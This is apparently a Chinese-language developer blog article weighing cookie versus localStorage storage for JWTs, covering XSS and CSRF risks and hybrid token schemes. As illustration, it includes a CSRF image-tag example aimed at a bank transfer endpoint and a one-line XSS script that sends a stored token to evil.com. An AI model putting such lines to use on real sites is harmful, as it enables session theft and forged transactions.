JWT Token 存储位置之争:Cookie vs LocalStorage
更新: 5/24/2026 字数: 0 字 时长: 0 分钟
这是前后端分离时代最经典的安全设计问题之一,没有"标准答案",只有"根据场景的最优解"。下面从原理、对比、实战三个层面彻底讲清楚。
一、先抛结论
| 场景 | 推荐方案 |
|---|---|
| 安全要求高的业务(金融、支付、企业后台) | HttpOnly + Secure + SameSite Cookie |
| 多端共用 API(Web + App + 小程序) | LocalStorage / 内存(通过 Authorization 头传递) |
| 极高安全场景(核心账户、私钥操作) | 内存存储 + Refresh Token in HttpOnly Cookie |
| 跨子域 SSO | 顶级域名下的 HttpOnly Cookie |
| 纯静态前端(无后端控制响应头能力) | LocalStorage(别无选择) |
核心原则:没有"绝对安全"的方案,只有"防住主要威胁"的方案。Cookie 防 XSS、LocalStorage 防 CSRF,两种威胁中哪个对你更致命,就选对应的方案。
二、两种方案的原理对比
方案 A:存在 Cookie 中
# 服务端登录成功后下发
Set-Cookie: jwt=eyJhbGc...; HttpOnly; Secure; SameSite=Strict; Path=/- 浏览器自动管理该 Cookie,后续请求自动携带。
- 加上
HttpOnly后,JavaScript 完全读不到这个 Cookie。
请求时:
GET /api/profile HTTP/1.1
Cookie: jwt=eyJhbGc... ← 浏览器自动带上方案 B:存在 LocalStorage 中
// 登录后前端主动存
localStorage.setItem('jwt', token);
// 请求时主动读取并放入 Header
fetch('/api/profile', {
headers: { 'Authorization': 'Bearer ' + localStorage.getItem('jwt') }
});请求时:
GET /api/profile HTTP/1.1
Authorization: Bearer eyJhbGc... ← 前端主动添加三、核心安全威胁对比
Web 端最致命的两个威胁是 XSS 和 CSRF,两种存储方案对二者的抵抗力完全相反:
| 威胁 | Cookie(HttpOnly) | LocalStorage |
|---|---|---|
| XSS(脚本注入) | ✅ 免疫(JS 读不到 HttpOnly Cookie) | ❌ 完全暴露(localStorage.getItem 直接读走) |
| CSRF(跨站请求伪造) | ❌ 天然存在(浏览器自动携带 Cookie) | ✅ 免疫(浏览器不会自动加 Authorization 头) |
这是两种方案的根本差异,也是选择的关键依据。
四、详细优劣势对比
| 对比维度 | Cookie(HttpOnly) | LocalStorage |
|---|---|---|
| XSS 抵抗力 | 强(JS 无法读取) | 弱(明文存储,任意 JS 可读) |
| CSRF 抵抗力 | 弱(需 SameSite + CSRF Token 配合) | 强(请求需主动加 Header) |
| 是否自动携带 | ✅ 自动 | ❌ 需手动 |
| 跨域携带 | 受 CORS 严格限制(需 credentials: 'include' + 后端配合) | 灵活(任何请求都可加 Header) |
| 跨子域共享 | 设置 Domain=.example.com 即可共享 | 不支持(每个子域独立 LocalStorage) |
| 容量限制 | 4KB(JWT 较长时可能超限) | 5–10MB(容量充裕) |
| 存活时间控制 | 通过 Max-Age / Expires 精确控制 | 永久保存(需手动清除) |
| 登出清理 | 服务端 Set-Cookie 清空,可靠 | 依赖前端 removeItem,易遗漏 |
| 移动端 / 非浏览器 | 不友好(App、Postman 处理 Cookie 麻烦) | 友好(Header 统一处理) |
| 多端复用 | 差(每端需独立处理 Cookie) | 好(同一套 Token 通用) |
| 实现复杂度 | 中(需配合 CSRF 防御、CORS 配置) | 低(前端纯 JS 控制) |
| 服务端控制力 | 强(HttpOnly、Secure、SameSite 等都由服务端决定) | 弱(一旦发出,完全交给前端) |
| CDN / 边缘缓存友好性 | 差(带 Cookie 难缓存) | 好(无凭证头时可缓存) |
| SSR 友好 | 好(服务端可读 Cookie) | 差(服务端无法访问 LocalStorage) |
五、各方案的"致命弱点"详解
Cookie 方案的致命弱点:CSRF
原理:浏览器看到任何发往 bank.com 的请求,都会自动带上 bank.com 的 Cookie,无法区分这个请求是用户主动发起还是恶意站点伪造。
攻击示例:
<!-- evil.com 上的恶意页面 -->
<img src="https://bank.com/api/transfer?to=hacker&amount=10000">
<!-- 浏览器自动带上 bank.com 的 JWT Cookie,转账成功 -->防御代价:必须额外引入 CSRF Token / SameSite Cookie / Origin 校验 三件套。
LocalStorage 方案的致命弱点:XSS
原理:LocalStorage 是纯前端存储,任何运行在本域的 JS 都能读写。一旦页面存在 XSS 漏洞,攻击者一行代码就能拿走 Token。
攻击示例:
// 攻击者注入的 XSS 脚本
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt'));
// JWT 被发送到攻击者服务器,接下来可冒用身份做任何事防御代价:必须严格防御所有 XSS 注入点(输入校验、输出转义、CSP),且 Token 一旦泄露无法快速撤销(JWT 的无状态特性)。
六、关键认知:XSS 比 CSRF 更可怕
这一点决定了业界主流推荐的天平倾向:
| 维度 | XSS | CSRF |
|---|---|---|
| 防御难度 | 难(每个输入点都是风险) | 容易(方案成熟) |
| 危害范围 | 极大(任何操作 + 数据窃取 + 持久控制) | 有限(只能"盲发"请求) |
| 是否可恢复 | 难(Token 已泄露,需重置) | 易(防御生效后停止) |
结论:
- 如果你的站点做不到 100% 防住 XSS(大多数站点都做不到),那 HttpOnly Cookie 是更稳妥的选择——它至少能在 XSS 发生时保护 Token 本身。
- 如果你的站点对 XSS 防御非常有信心(严格的 CSP + 全链路防御),LocalStorage 也可以接受。
七、实战中常见的"混合方案"
为了兼顾两者优势,业界发展出多种混合方案:
方案 1:HttpOnly Cookie + SameSite + CSRF Token(最稳健)
- JWT 存 HttpOnly Cookie → 防 XSS
- Cookie 设
SameSite=Strict/Lax→ 防 CSRF - 配合 CSRF Token → 双重防御 CSRF
适用:传统 Web 应用、金融后台、安全要求高的业务。
方案 2:Access Token 存内存 + Refresh Token 存 HttpOnly Cookie(推荐 SPA)
- 短期 Access Token(如 15 分钟)存在内存(JS 变量)→ 即使有 XSS,刷新页面就丢失
- 长期 Refresh Token 存 HttpOnly Cookie → 防 XSS,用于刷新 Access Token
- Refresh Token 接口配合 CSRF 防御
优势:
- 内存中的 Access Token 几乎不会泄露(页面关闭即清空)
- 即使 Access Token 被 XSS 拿到,有效期短,危害可控
- Refresh Token 在 Cookie 中,XSS 拿不到
适用:现代 SPA、对安全有较高要求的前后端分离应用。
方案 3:双 Token 分层(OAuth 2.0 标准模式)
- Access Token(短期)通过
Authorization头传递 - Refresh Token(长期)严格保管(HttpOnly Cookie 或安全存储)
- Access Token 过期后用 Refresh Token 换新
适用:开放平台、第三方授权、企业 SSO。
八、容易踩的坑
Cookie 方案常见坑
❌ 忘记加 HttpOnly:等于明文存储,XSS 风险 ❌ 忘记加 Secure:HTTP 明文传输可被嗅探 ❌ 忘记加 SameSite:CSRF 风险大增 ❌ Domain 设得过宽:子域被攻破即可窃取 ❌ 以为有 Cookie 就不用防 CSRF:错!必须额外加 CSRF Token / SameSite
LocalStorage 方案常见坑
❌ 认为 LocalStorage 比 Cookie 安全:错!XSS 下完全裸奔 ❌ 存了高敏感长效 Token:一旦泄露危害极大 ❌ 没有过期机制:用户清不掉,服务端撤不掉 ❌ 第三方脚本(统计、广告、SDK)也能读:信任边界扩大 ❌ 登出忘记 removeItem:Token 仍在本地
九、决策流程图
你的应用是?
├─ 传统服务端渲染 Web 应用
│ └─ ✅ HttpOnly Cookie + SameSite + CSRF Token
│
├─ 前后端分离 SPA
│ ├─ 安全要求高(金融/企业)
│ │ └─ ✅ Access Token 存内存 + Refresh Token 存 HttpOnly Cookie
│ ├─ 普通业务,对 XSS 防御有信心
│ │ └─ ✅ LocalStorage + Authorization 头(必须严格 CSP)
│ └─ 需要 SSR
│ └─ ✅ HttpOnly Cookie(服务端可读)
│
├─ 多端共用 API(Web + App + 小程序)
│ └─ ✅ LocalStorage / 安全存储 + Authorization 头(各端统一)
│
└─ 跨子域 SSO
└─ ✅ 顶级域 HttpOnly Cookie十、来自业界的实践参考
| 公司 / 框架 | 推荐方案 |
|---|---|
| OWASP | 优先 HttpOnly Cookie;如必须用 LocalStorage,需严格 CSP |
| Auth0 | 推荐 HttpOnly Cookie(Web 场景) |
| Google / Firebase Auth | SDK 默认使用 IndexedDB(带 XSS 风险提示) |
| GitHub | HttpOnly Cookie + CSRF Token |
| AWS Cognito | 提供两种模式,文档明确说明各自风险 |
业界长期趋势:越来越多的安全团队倾向于推荐 HttpOnly Cookie 方案,原因正是 XSS 比 CSRF 更难防住。
十一、终极一句话总结
JWT 存 Cookie 还是 LocalStorage,不是"哪个更安全"的问题,而是"你更怕 XSS 还是更怕 CSRF"的问题。 Cookie(HttpOnly)牺牲了开发便利性来换 XSS 免疫,代价是要单独防 CSRF;LocalStorage 牺牲了 XSS 防护来换开发简洁,代价是站点必须零 XSS。对绝大多数业务而言,"HttpOnly Cookie + SameSite + CSRF Token" 是更稳妥的选择;追求极致安全的 SPA,可以选用"内存存 Access Token + HttpOnly Cookie 存 Refresh Token"的双层方案。